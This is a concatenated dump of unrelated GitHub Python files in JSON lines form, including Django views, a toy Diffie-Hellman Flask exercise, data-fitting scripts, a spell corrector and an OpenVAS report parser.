os.stat(os.path.join(right, d)).st_mtime\r\n                if left_modified > right_modified:\r\n                    left_newer.append(d)\r\n            self.copy_files(left_newer, left, right)\r\n\r\n    def copy_files(self, file_list, src, dest):\r\n        for file in file_list:\r\n            srcpath = os.path.join(src, os.path.basename(file))\r\n            if os.path.isdir(srcpath):\r\n                shutil.copytree(srcpath, os.path.join(dest, os.path.basename(file)))\r\n                self.logging.info('Copied directory \\\"' + os.path.basename(srcpath) + '\\\" from \\\"' + os.path.dirname(srcpath) + '\\\" to \\\"' + dest + '\\\"')\r\n            else:\r\n                shutil.copy2(srcpath, dest)\r\n                self.logging.info('Copied \\\"' + os.path.basename(srcpath) + '\\\" from \\\"' + os.path.dirname(srcpath) + '\\\" to \\\"' + dest + '\\\"')\r\n             \r\n    def periodic_save(self):\r\n        self.sched.add_job(self.synchronise,'interval', seconds=int(self.synchronisation_content))\r\n        self.sched.start()","repo_name":"Call-X/Synchronise_folders_program","sub_path":"synchro.py","file_name":"synchro.py","file_ext":"py","file_size_in_byte":3124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9807873354","text":"class Student:\n# Conctructor\n    def __init__(self,name,rollNumber):\n        if name !=\"\":\n            self.name = name                \n        else:\n            print(\"Invalid Name\")\n        if rollNumber >= 0:\n            self.rollNumber = rollNumber\n        else:\n            print(\"Invalid Roll Number\")\n        \n\n#creating Student instances\nstudent1 = Student(\"Niranjan\",543) \nstudent1 = Student(\"Zero\",000) \n\n        ","repo_name":"Niranjan-GopaL/Interesting-Assignments","sub_path":"Python/Lab-10/5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9056298046","text":"\ndef locate_number(card, query):\n    #create the variable set value 0\n    position =0\n    # Set up a loop for repetition\n    while True:\n        if card[position] == query:\n            return position\n        \n        position+=1\n        \n        if position == len(card):\n             #Number not found , return -1\n            return -1\n\n        \n    ","repo_name":"mundinho340/Data-Structure-and-Algorithms-","sub_path":"Question3.py","file_name":"Question3.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"882980524","text":"from sqlalchemy import create_engine\n\nfrom DB.Connection.LoginConnection import LoginConnection\nfrom DB.Connection.WorldConnection import WorldConnection\nfrom DB.Connection.RealmConnection import RealmConnection\nfrom DB.BaseModel import BaseModel\n\nfrom Config.Run.config import Config\n\n\ndef create_db():\n    connection_string = Config.Database.Connection.sqlalchemy_connection_string\n\n    engine = create_engine(\n        connection_string.format(\n            user=Config.Database.Connection.username,\n            password=Config.Database.Connection.password,\n            host=Config.Database.Connection.host,\n            # the query below does not needs db_name\n            db_name=''\n        )\n    )\n\n    query = 'CREATE DATABASE IF NOT EXISTS {db_name} CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci'\n\n    engine.execute(query.format(db_name=Config.Database.DBNames.login_db))\n    engine.execute(query.format(db_name=Config.Database.DBNames.world_db))\n    engine.execute(query.format(db_name=Config.Database.DBNames.realm_db))\n\n\ndef create_tables():\n    BaseModel.metadata.create_all(LoginConnection().engine)\n    BaseModel.metadata.create_all(WorldConnection().engine)\n    BaseModel.metadata.create_all(RealmConnection().engine)\n","repo_name":"idewave/idewave-core","sub_path":"DB/CreateDB.py","file_name":"CreateDB.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"}
+{"seq_id":"42779149488","text":"from django import forms\nfrom django.conf import settings\nfrom django.utils.translation import ugettext_lazy as _\nfrom widgets import RecaptchaChallenge, RecaptchaResponse, EmailDestination\n\nclass RecaptchaForm(forms.Form):\n    recaptcha_challenge_field = forms.CharField(label=_('Recaptcha challenge'),\n            widget=RecaptchaChallenge)\n    recaptcha_response_field = forms.CharField(\n                widget = RecaptchaResponse,\n                label = _('Recaptcha test response'),\n                help_text = _('Please enter the two words on the image separated by a space.'),\n                error_messages = {\n                    'required': _('You did not enter any of the two words shown in the image.')\n            }) \n\n    def __init__(self, *args, **kwargs):\n        theme = kwargs.get('recaptcha_theme', '')\n        if 'recaptcha_theme' in kwargs:\n            del kwargs['recaptcha_theme']\n        self._request = kwargs.get('request', '')\n        if 'request' in kwargs:\n            del kwargs['request']\n\n        super(RecaptchaForm, self).__init__(*args, **kwargs)\n        self.fields['recaptcha_response_field'].widget.theme = theme\n\n    def clean_recaptcha_response_field(self):\n        if 'recaptcha_challenge_field' in self.cleaned_data:\n            self._validate_captcha()\n        return self.cleaned_data['recaptcha_response_field']\n\n    def _validate_captcha(self):\n        rcf = self.cleaned_data['recaptcha_challenge_field']\n        rrf = self.cleaned_data['recaptcha_response_field']\n        if rrf == '':\n            raise forms.ValidationError(_('You did not enter any of the two words shown in the image.'))\n        else:\n            from recaptcha.client import captcha as recaptcha\n            ip = self._request.META['REMOTE_ADDR']\n            private_key = getattr(settings, \"RECAPTCHA_PRIVATE_KEY\")\n            check = recaptcha.submit(rcf, rrf, private_key, ip)\n            if not check.is_valid:\n                raise forms.ValidationError(_('The words you entered did not match the image.'))\n  \nclass RecaptchaContactForm(RecaptchaForm):\n    error_css_class = 'error'\n    required_css_class = 'required'\n\n    def __init__(self, *args, **kwargs):\n        recipients = kwargs.get('recipients', [])\n        if 'recipients' in kwargs:\n            del kwargs['recipients']\n\n        super(RecaptchaContactForm, self).__init__(*args, **kwargs)\n\n        self.fields['email'].widget.input_type = 'email'\n\n        for field_name in ['recipient', 'name', 'email', 'subject', 'message']:\n            field = self.fields[field_name]\n            if field.required:\n                field.widget.attrs['required'] = 'true'\n\n        recipient = self.fields['recipient']\n        if len(recipients) > 0:\n            recipient.choices = recipients\n            recipient.initial = recipients[0][0]\n            recipient.default = recipients[0][0]\n            recipient.widget.is_hidden = len(recipients) == 1\n\n    recipient = forms.ChoiceField(label=_('recipient'), choices=[], widget=EmailDestination)\n    name = forms.CharField(label=_('name'))\n    email = forms.EmailField(label=_('email'))\n    subject = forms.CharField(label=_('subject'))\n    message = forms.CharField(label=_('message'), widget=forms.Textarea)\n\n","repo_name":"isucan/plannerarena","sub_path":"website/plannerarena_org/contact/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3238,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"34775649043","text":"from django.shortcuts import render, redirect\nfrom blog.models import Post\nfrom django.http import HttpResponse\nfrom django.contrib import messages\nfrom main.forms import getInTouchForm\nfrom django.core.mail import send_mail\n\n# Create your views here.\n\ndef home(request):\n    posts = Post.objects.filter().order_by('-date_posted')[0:3]\n    return render(request, 'home.html', {'posts': posts, 'title': 'Digital Transformation'})\n\n\ndef who_we_are(request):\n    return render(request, 'who-we-are.html', {'title': 'Who We Are'})\n\ndef portfolio(request):\n    return render(request, 'portfolio.html', {'title': 'Portfolio'})\n\ndef solutions(request):\n    return render(request, 'solutions.html', {'title': 'Solutions'})\n\n\ndef get_in_touch(request):\n    # if this is a POST request we need to process the form data\n    if request.method == 'POST':\n        # create a form instance and populate it with data from the request:\n        form = getInTouchForm(request.POST)\n        # check whether it's valid:\n        if form.is_valid():\n            # process the data in form.cleaned_data as required\n            subject = \"Website Inquiry\"\n            sender_email = 'support@WebLime.com'\n            recipients = ['bigeba8@gmail.com']\n            body = {\n\t\t\t'fullname': form.cleaned_data['fullname'],\n\t\t\t'email': form.cleaned_data['email'],\n\t\t\t'phone': form.cleaned_data['phone'],\n\t\t\t'message':form.cleaned_data['message']\n\t\t\t}\n\n            message = \"\\n\".join(body.values())\n\n            #send send_mail\n            send_mail(subject, message, sender_email, recipients)\n\n            # redirect to a new URL:\n            messages.success(request, f'Your form has been submited!')\n            return redirect('home')\n\n    # if a GET (or any other method) we'll create a blank form\n    else:\n        form = getInTouchForm()\n\n    return render(request, 'get-in-touch.html', {'form': form, 'title': 'Get In Touch'})\n\n\ndef new_project_application(request):\n    # if this is a POST request we need to process the form data\n    if request.method == 'POST':\n        # create a form instance and populate it with data from the request:\n        form = newProjectApplication(request.POST)\n        # check whether it's valid:\n        if form.is_valid():\n            # process the data in form.cleaned_data as required\n            subject = \"New Project Application\"\n            sender_email = 'support@WebLime.com'\n            recipients = ['edan@weblime.com']\n            body = {\n\t\t\t'fullname': form.cleaned_data['fullname'],\n\t\t\t'email': form.cleaned_data['email'],\n\t\t\t'phone': form.cleaned_data['phone'],\n\t\t\t'message':form.cleaned_data['message']\n\t\t\t}\n\n            message = \"\\n\".join(body.values())\n\n            #send send_mail\n            send_mail(subject, message, sender_email, recipients)\n\n            # redirect to a new URL:\n            messages.success(request, f'Your form has been submited!')\n            return redirect('home')\n\n    # if a GET (or any other method) we'll create a blank form\n    else:\n        form = getInTouchForm()\n\n    return render(request, 'new-project-application.html', {'form': form, 'title': 'New Project Application'})\n","repo_name":"eba8/weblime-old-site","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15029537192","text":"from flask import Flask\nfrom Tools import SDES as sdes\nimport requests\n\napp = Flask(__name__)\nz = 953 #Sophie Germain prime: 2p +1\npubg = 3 #Generator\nprvI = 9\npublicKey = ((pubg ** prvI) % z)\nsharedKey = None\nmsg = \"This is alice saying heyo\"\n\n@app.route(\"/\")\ndef start():\n    return \"This is alice\"\n\n@app.route(\"/getpub\")\ndef getpub():\n    #a route so that the public key is easily accessed \n    return str(publicKey)\n\n@app.route(\"/getmsg\")\ndef getmsg():\n    bobpublic = requests.get(\"http://127.0.0.1:80/getpub\")\n    bobInt = int(bobpublic.text)\n    sharedKey = ((bobInt ** prvI) % z)\n    sharedK = sdes.BBSrand(sharedKey,10)\n    print(\"shared k of alice after BBS is \"+str(sharedK))\n\n    encryptedGet = requests.get(\"http://127.0.0.1:80/sendmsg\")\n    encryptedMsg = str(encryptedGet.text)\n   \n\n    decryptedMsg = sdes.decryptString(encryptedMsg,sdes.stringToArr(sharedK))\n\n    #send encrypt msg back\n    return decryptedMsg\n\n@app.route(\"/sendmsg\")\ndef sendmsg():\n    bobpublic = requests.get(\"http://127.0.0.1:80/getpub\")\n    bobInt = int(bobpublic.text)\n    print(bobInt)\n    print(type(bobInt))\n    sharedKey = ((bobInt ** prvI) % z)\n    sharedK = sdes.BBSrand(sharedKey,10)\n    encryptedMsg = sdes.encryptString(msg,sdes.stringToArr(sharedK))\n    return encryptedMsg\n\n\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True,port=5000)","repo_name":"Od1nB/SecurityDat510","sub_path":"Assignment2/alice.py","file_name":"alice.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"21124079276","text":"import numpy as np\nfrom PIL import Image\nimport json\n\ndef interpolate(frame1, frame2, t):\n    if frame1 is frame2: return frame1\n    fr = frame1 * (1-t) + frame2 * t\n    return np.clip(fr, 0, 255, np.ndarray(fr.shape, np.uint8))\n\nclass TextureReader:\n    def __init__(self, filename):\n        srcp = Image.open(filename)\n        if srcp.mode == 'P':\n            # i cannot deal with this, won't try\n            srcp = srcp.convert('RGBA')\n        array = np.array(srcp)\n        if srcp.mode == 'L':\n            h, w = array.shape\n            c = 1\n        else:\n            h, w, c = array.shape\n        nframe = h//w\n        self.array = array.reshape((nframe, w, w, c)) # np.split?\n        self.size = w\n        self.nchan = c\n        self.mode = srcp.mode\n        self.metaframes = range(nframe)\n        self.interpolate = True\n        try:\n            meta = json.load(open(str(filename)+'.mcmeta'))\n            if 'animation' in meta:\n                if 'frames' in meta['animation']:\n                    self.metaframes = meta['animation']['frames']\n                self.interpolate = meta['animation'].get('interpolate', False)\n        except FileNotFoundError:\n            pass\n\n    @property\n    def nframe(self):\n        return len(self.metaframes)\n\n    def get_frame(self, x):\n        x %= self.nframe\n        n, t = divmod(x, 1)\n        n = int(n)\n        if not t or not self.interpolate:\n            return self.array[self.metaframes[n]]\n        else:\n            n1 = (n+1)%self.nframe\n            return interpolate(self.get_frame(n), self.get_frame(n1), t)\n","repo_name":"Random832/mctexgen","sub_path":"common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"72372724670","text":"import os\n\nfrom moban import constants\n\n\nclass GitRequire(object):\n    def __init__(\n        self, git_url=None, branch=None, submodule=False, reference=None\n    ):\n        self.git_url = git_url\n        self.submodule = submodule\n        self.branch = branch\n        self.reference = reference\n\n    def clone_params(self):\n        clone_params = {\n            \"single_branch\": True,\n            \"depth\": constants.DEFAULT_CLONE_DEPTH,\n        }\n        if self.branch is not None:\n            clone_params[\"branch\"] = self.branch\n        elif self.reference is not None:\n            clone_params[\"reference\"] = self.reference\n        return clone_params\n\n    def __eq__(self, other):\n        return (\n            self.git_url == other.git_url\n            and self.submodule == other.submodule\n            and self.branch == other.branch\n            and self.reference == other.reference\n        )\n\n    def __repr__(self):\n        return \"%s,%s,%s\" % (self.git_url, self.branch, self.submodule)\n\n\nclass TemplateTarget(object):\n    def __init__(\n        self,\n        template_file,\n        data_file,\n        output,\n        template_type=constants.DEFAULT_TEMPLATE_TYPE,\n    ):\n        self.template_file = template_file\n        self.data_file = data_file\n        self.original_output = output\n        self.template_type = template_type\n        self.output = self.original_output\n\n        self.set_template_type(template_type)\n\n    def set_template_type(self, new_template_type):\n        self.template_type = new_template_type\n        if self.original_output.endswith(self.template_type):\n            self.output, _ = os.path.splitext(self.original_output)\n        else:\n            self.output = self.original_output\n\n    def __eq__(self, other):\n        return (\n            self.template_file == other.template_file\n            and self.data_file == other.data_file\n            and self.output == other.output\n            and self.template_type == self.template_type\n        )\n\n    def __repr__(self):\n        return \"%s,%s,%s,%s\" % (\n            self.template_file,\n            self.data_file,\n            self.output,\n            self.template_type,\n        )\n","repo_name":"bopopescu/Pricing","sub_path":"pricingenv/Lib/site-packages/moban/definitions.py","file_name":"definitions.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26474034757","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import curve_fit\nimport math\nfrom load import do_load\n\ndef fitfunc(x, a, b, c, d):\n    return a*(b**2/((x - c)**2 + b**2)) + d\n\nEs, degs, data = do_load(\"C:/Users/soere/Dropbox/Skoleting/8. semester/Store Eksperimentelle Øvelser/SE-_22/Øvelse 4/Data/Au111.txt\")\n\np0 = np.array([1000, 0.1, 13.3, 300])\n\n\nE_kin = np.zeros(len(data))\nfor i in range(len(data)):\n    if -4.5 < degs[i] and degs[i] < 4.5: \n        popt, pcov = curve_fit(fitfunc, Es, data[i], p0=p0)\n        Es2 = np.linspace(Es[0],Es[-1], 1000)\n        fit = fitfunc(Es2, popt[0], popt[1], popt[2], popt[3])\n        \n        E_kin[i] = popt[2]\n        \n        plt.figure()\n        plt.title(\"Angle is \" + str(degs[i]))\n        plt.xlabel(\"Kinetic energy\")\n        plt.ylabel(\"Intensity\")\n        plt.plot(Es, data[i], \"k\")\n        plt.plot(Es2, fit, \"r\")\n        plt.show()\n        \n#%%\nplt.figure()\nplt.plot(degs, E_kin, \".\")\nplt.xlim(-5.4,5.4)\nplt.ylim(13.1, 13.6)\nplt.xlabel(\"Degress\")\nplt.ylabel(\"Kinetic energy\")\nplt.show()\n\nE_F = 13.593\ndegs_deg = [math.radians(degs[i]) for i in range(len(degs))]\nk = 0.512*np.sqrt(E_kin)*np.sin(degs_deg)\nE_bin = E_kin - E_F\n\nplt.figure()\nplt.plot(degs, E_bin, \".\")\nplt.xlim(-5.4,5.4)\nplt.ylim(-0.6, 0)\nplt.xlabel(\"Degress\")\nplt.ylabel(\"Binding energy\")\nplt.show()\n\ndef fitfunc2(x, a, b):\n    return a*x**2 + b\n\nk_new = np.delete(k, np.where(E_bin< -5)[0])\nE_bin_new = np.delete(E_bin, np.where(E_bin< -5)[0])\n\np0 = np.array([1, -1])\npopt, pcov = curve_fit(fitfunc2, k_new, E_bin_new, p0=p0)\n\nks = np.linspace(-0.15, 0.15, 1000)\nfit2 = fitfunc2(ks, popt[0], popt[1])\n\n\nplt.figure()\nplt.plot(k_new, E_bin_new, \"k.\")\nplt.plot(ks, fit2, \"r-\")\n#plt.xlim(-5.4,5.4)\n#plt.ylim(-0.5, 0)\nplt.xlabel(\"Wave vector $k_{||}$ [Å$^{-1}$]\")\nplt.ylabel(\"Binding energy $E_{bin}$ [eV]\")\nplt.show()\n\n\n","repo_name":"asgergardner/SE-_22","sub_path":"Øvelse 4/.ipynb_checkpoints/analysis-checkpoint.py","file_name":"analysis-checkpoint.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40013571245","text":"import scipy\nimport numpy as np\nimport time\nfrom nltk import ngrams\nimport json\nimport pickle\nimport argparse\nfrom Levenshtein import ratio\n\nap = argparse.ArgumentParser()\nap.add_argument(\"-w\", \"--word\", required = True, help=\"Input word\")\nap.add_argument(\"-bp\", \"--binderPath\", default='model/binder.json', help=\"path to store bidner json\")\nap.add_argument(\"-vp\", \"--vectorizerPath\", default='model/vectorizer.pickle', help=\"path to store vectorizer pickle\")\nargs = vars(ap.parse_args())\n\ndef ngram_generator(text):\n    ngram = []\n    for gram in ngrams(text,2):\n        ngram.append(''.join(gram))\n    for gram in ngrams(text,3):\n        ngram.append(''.join(gram))\n        \n    return ngram\n\ndef spellchecker_word(word):\n    start_time = time.time()\n    with open(args['vectorizerPath'],\"rb\") as fp:\n        vectorizer = pickle.load(fp)\n    with open(args['binderPath'],'r') as fp:\n        binder = json.load(fp)\n    \n    word = word.lower().strip()\n    word_gram_text = []\n    ngram = []\n    if word in binder['stop']:\n        best_term = word\n    else:\n        ngram = ngram_generator(word)\n        word_gram_text.append(' '.join(ngram))\n\n        word_vector = vectorizer.transform(word_gram_text)\n        word_vector = (np.asarray(word_vector.todense()))[0]\n\n        searching_terms = []\n        for gram in word_gram_text[0].split(' '):\n            if gram in binder['ngram_lookup']:\n                for term in binder['ngram_lookup'][gram]:\n                    if binder['spell_corpus'][term][0] == word[0] and binder['spell_corpus'][term] not in searching_terms:\n                        searching_terms.append(binder['spell_corpus'][term])\n\n        sim_dict = {}\n        for ngram_term in searching_terms:\n            sim = 1-scipy.spatial.distance.cosine(np.asarray(vectorizer.transform([' '.join(ngram_generator(word))]).todense())[0].reshape(-1,1), word_vector.reshape(-1,1))\n            lev_ratio = ratio(ngram_term,word)\n            sim_dict[ngram_term] = (sim + lev_ratio)/2\n        try:\n            final_dict = {k: v for k, v in sorted(sim_dict.items(), key=lambda item: item[1],reverse = True)}\n            best_term = max(final_dict, key=final_dict.get)\n        except:\n            best_term = word\n        print(\"INPUT WORD     :: {}\\nCORRECTED WORD :: {}\\nPROCESS TIME   :: {}\".format(word,best_term,time.time() - start_time))\n    return best_term\n\nspellchecker_word(args['word'])","repo_name":"skshashankkumar41/Medical-Spell-Corrector","sub_path":"medicalSpellCorrector_word.py","file_name":"medicalSpellCorrector_word.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11836055437","text":"from utilsclasses.config_manager import WorkingWithData\nfrom browser_utils.chrome_browser import ChromeBrowser\nfrom browser_utils.firefox_browser import FirefoxBrowser\n\n\nclass WebdriverFactory:\n\n    CHROME = 'chrome'\n    FIREFOX = 'firefox'\n\n    @staticmethod\n    def set_up_webdriver():\n        browser_name = WorkingWithData.working_with_data(\"browser\", \"config\")\n        if browser_name == WebdriverFactory.FIREFOX:\n            browser = FirefoxBrowser()\n        elif browser_name == WebdriverFactory.CHROME:\n            browser = ChromeBrowser()\n        else:\n            browser = ChromeBrowser()\n","repo_name":"MaxLVP/framework-for-aqa","sub_path":"browser_utils/webdriver_factory.py","file_name":"webdriver_factory.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"35008110771","text":"def check(n):\n    word = {}\n    for i in range(len(n)):\n        if n[i] not in word.keys():\n            word[n[i]] = True\n\n            if i > 0:\n                word[n[i-1]] = False\n        else:\n            if not word[n[i]]:\n                return False\n\n    return True\n\nif __name__ == '__main__':\n    t = int(input())\n    cnt = 0\n    for i in range(t):\n        if check(input()):\n            cnt += 1\n    \n    print(cnt)","repo_name":"n0y0j/algorithm","sub_path":"baekjoon/baekjoon-1316.py","file_name":"baekjoon-1316.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33853285705","text":"import argparse\nimport json\nimport random\nimport time\n\nimport requests\n\n\nclass TodoSimulator:\n    def __init__(self, host):\n        self.host = host\n        self.todos = []\n        self.todo_count = 0\n    \n    def get_todos(self):\n        try:\n            r = requests.get(self.host + '/api/todos')\n            r.raise_for_status()\n            self.todos = json.loads(r.text)\n        except Exception as e:\n            print('Error retrieving todos: {error}'.format(error=e))\n    \n    def get_single_todo(self):\n        if len(self.todos) == 0:\n            return\n\n        try:\n            item_to_get = random.choice(self.todos)\n            r = requests.get('{host}{route}/{id}'.format(\n                host=self.host, route='/api/todos', id=item_to_get['_id']))\n            r.raise_for_status()\n        except Exception as e:\n            print('Error retrieving todo: {error}'.format(error=e))\n\n    def create_todo(self):\n        try:\n            item = 'ToDo item #{number}'.format(number=self.todo_count)\n            r = requests.post(self.host + '/api/todos', data={'text': item})\n            r.raise_for_status()\n            self.todos = json.loads(r.text)\n            self.todo_count += 1\n        except Exception as e:\n            print('Error creating todo: {error}'.format(error=e))\n        pass\n    \n    def delete_todo(self):\n        if len(self.todos) == 0:\n            return\n\n        try:\n            item_to_delete = random.choice(self.todos)\n            r = requests.delete('{host}{route}/{id}'.format(\n                host=self.host, route='/api/todos', id=item_to_delete['_id']))\n            r.raise_for_status()\n            self.todos = json.loads(r.text)\n        except Exception as e:\n            print('Error deleting todo: {error}'.format(error=e))\n\n    def delete_all(self):\n        while len(self.todos) > 0:\n            self.delete_todo()\n\n    def nonexistent(self):\n        try:\n            r = requests.get(self.host + '/doesnotexist')\n            r.raise_for_status()\n        except Exception as e:\n            print('Expected error occurred: {error}'.format(error=e))\n\n    def simulate(self, chance_boundaries):\n        while True:\n            choice = random.random()\n            if choice < chance_boundaries['get_all']:\n                # Get all todos\n                self.get_todos()\n            elif choice < chance_boundaries['get_single']:\n                # Get a specific todo\n                self.get_single_todo()\n            elif choice < chance_boundaries['create']:\n                # Create a todo\n                self.create_todo()\n            elif choice < chance_boundaries['delete']:\n                # Delete a todo\n                self.delete_todo()\n            else:\n                self.nonexistent()\n            time.sleep(0.1 * random.random())\n\n\nif __name__==\"__main__\":\n    parser = argparse.ArgumentParser(\n        description='Simulate requests to the ToDo API')\n    parser.add_argument('host', type=str)\n    args = parser.parse_args()\n\n    todo_sim = TodoSimulator(args.host)\n    chance_boundaries = {\n        'get_all': 0.6,\n        'get_single': 0.7,\n        'create': 0.84,\n        'delete': 0.98\n    }\n    todo_sim.simulate(chance_boundaries)\n","repo_name":"zubron/jotb-demo","sub_path":"api-client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5025569770","text":"import requests,json,re\ndef ecdict_search(word='',mode='query'):\n    if not re.match(r\"[\\s?a-zA-Z+]\",word):\n        return {'error':'word is not English'}\n    proxies = {\"http\": None, \"https\": None}\n    url = 'https://xunbu.cc/ecdict/search'\n    headers={'Content-Type': 'application/json'}\n    data = json.dumps({'word':word,'mode':mode})\n    print(data)\n    response = requests.post(url, data=data,headers=headers,proxies=proxies)\n    response_json=response.json()\n    return response_json","repo_name":"xunbu/lightrans","sub_path":"resource_py/ecdict_API.py","file_name":"ecdict_API.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"}
+{"seq_id":"42693954653","text":"#!/usr/bin/env python3\n# File: ex_05_02.py\n# takes a series of numbers from input and returns\n# max and min values\n\nmax = None\nmin = None\nnum = 0\ntotal = 0.0\nwhile True :\n    val = input('Enter a number: ')\n    if val == 'done' :\n        break\n    try:\n        val = int(val)\n    except:\n        print('Invalid input')\n        continue\n\n    if min is None :\n        min = val\n    elif val < min :\n        min = val\n    if max is None :\n        max = val\n    elif val > max :\n        max = val\n\nprint('Maximum is', max)\nprint('Minimum is', min)\n","repo_name":"frey-norden/py4e","sub_path":"ex_05_02.py","file_name":"ex_05_02.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"28812021359","text":"\"\"\"OpenVAS metric collector.\"\"\"\n\nfrom datetime import datetime\nfrom typing import List, cast\nfrom xml.etree.ElementTree import Element  # nosec, Element is not available from defusedxml, but only used as type\n\nfrom dateutil.parser import isoparse\n\nfrom base_collectors import SourceUpToDatenessCollector, XMLFileSourceCollector\nfrom collector_utilities.functions import parse_source_response_xml\nfrom collector_utilities.type import Response\nfrom source_model import Entity, SourceMeasurement, SourceResponses\n\n\nclass OpenVASSecurityWarnings(XMLFileSourceCollector):\n    \"\"\"Collector to get security warnings from OpenVAS.\"\"\"\n\n    async def _parse_source_responses(self, responses: SourceResponses) -> SourceMeasurement:\n        entities = []\n        severities = cast(List[str], self._parameter(\"severities\"))\n        for response in responses:\n            tree = await parse_source_response_xml(response)\n            entities.extend(\n                [Entity(\n                    key=result.attrib[\"id\"], name=result.findtext(\"name\", default=\"\"),\n                    description=result.findtext(\"description\", default=\"\"), host=result.findtext(\"host\", default=\"\"),\n                    port=result.findtext(\"port\", default=\"\"), severity=result.findtext(\"threat\", default=\"\"))\n                 for result in self.__results(tree, severities)])\n        return SourceMeasurement(entities=entities)\n\n    @staticmethod\n    def __results(element: Element, severities: List[str]) -> List[Element]:\n        \"\"\"Return the results that have one of the severities specified in the parameters.\"\"\"\n        results = element.findall(\".//results/result\")\n        return [result for result in results if result.findtext(\"threat\", default=\"\").lower() in severities]\n\n\nclass OpenVASSourceUpToDateness(XMLFileSourceCollector, SourceUpToDatenessCollector):\n    \"\"\"Collector to collect the OpenVAS report age.\"\"\"\n\n    async def _parse_source_response_date_time(self, response: Response) -> datetime:\n        tree = await parse_source_response_xml(response)\n        return isoparse(tree.findtext(\"creation_time\", default=\"\"))\n","repo_name":"Gamer1120/quality-time","sub_path":"components/collector/src/source_collectors/file_source_collectors/openvas.py","file_name":"openvas.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"}
+{"seq_id":"27997438087","text":"import pandas as pd\nimport sys\nimport subprocess\nimport Bio\nfrom Bio import SeqIO\n\ndef createBed(refPath, outPath):\n\n  bed = pd.DataFrame(columns={'1', '2', '3', '4'})\n  with open(refPath) as seq:\n    sequences = SeqIO.parse(seq, 'fasta')\n    for seq in sequences:\n      header = seq.id\n      bps = len(seq)\n\n      frags = (bps + 4999) // 5000 #ceiling divison \n      for i in range(1, frags):\n        if i == 1:\n          start = 1\n        else:\n          start = ((i-1)*5000)-50\n        if(i*5000 > bps):\n          end = bps\n        else:\n          end = i*5000\n\n        label = header + \"_\" + str(i)\n        toAdd = {'1':header, '2':start, '3':end, '4':label}\n        bed = bed.append(toAdd, ignore_index=True)\n  bed = bed[['1', '2', '3', '4']]\n  bed.to_csv(outPath, sep='\\t', index=False, header=False)\n \ndef main():\n  args = sys.argv\n  ref = args[1]\n  out = args[2]\n  createBed(refPath = ref, outPath = out)\n  \nif __name__ == \"__main__\":\n  main()\n","repo_name":"luisacusick/VC-Optimus","sub_path":"Scripts/createBed.py","file_name":"createBed.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74748004349","text":"from os.path import abspath\nimport numpy as np\nimport pandas as pd\nfrom typing import List\n\n\nclass Data:\n    def __init__(self, idx, features, target, headers=None):\n        self.headers = headers\n        self.idx = idx\n        self.features = features\n        self.target = target\n\n    @staticmethod\n    def from_csv(path):\n        abs_path = abspath(path)\n        dataframe = pd.read_csv(abs_path)\n\n        pure_data = np.array(dataframe).T\n        idx = pure_data[0]\n        features = pure_data[1:].T\n\n        return Data(idx=idx, features=features, target=None)\n\n    def as_pd_dataframe(self, headers: List[str] = None):\n        frame = pd.DataFrame(data=self.features, index=self.idx, columns=headers)\n\n        return frame\n\n    def __repr__(self):\n        return {\n            'idx': self.idx,\n            'features': self.features,\n            'target': self.target,\n        }\n\n    def __str__(self):\n        return str(self.__repr__())\n","repo_name":"BarabanovaIrina/nerpa","sub_path":"core/data/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
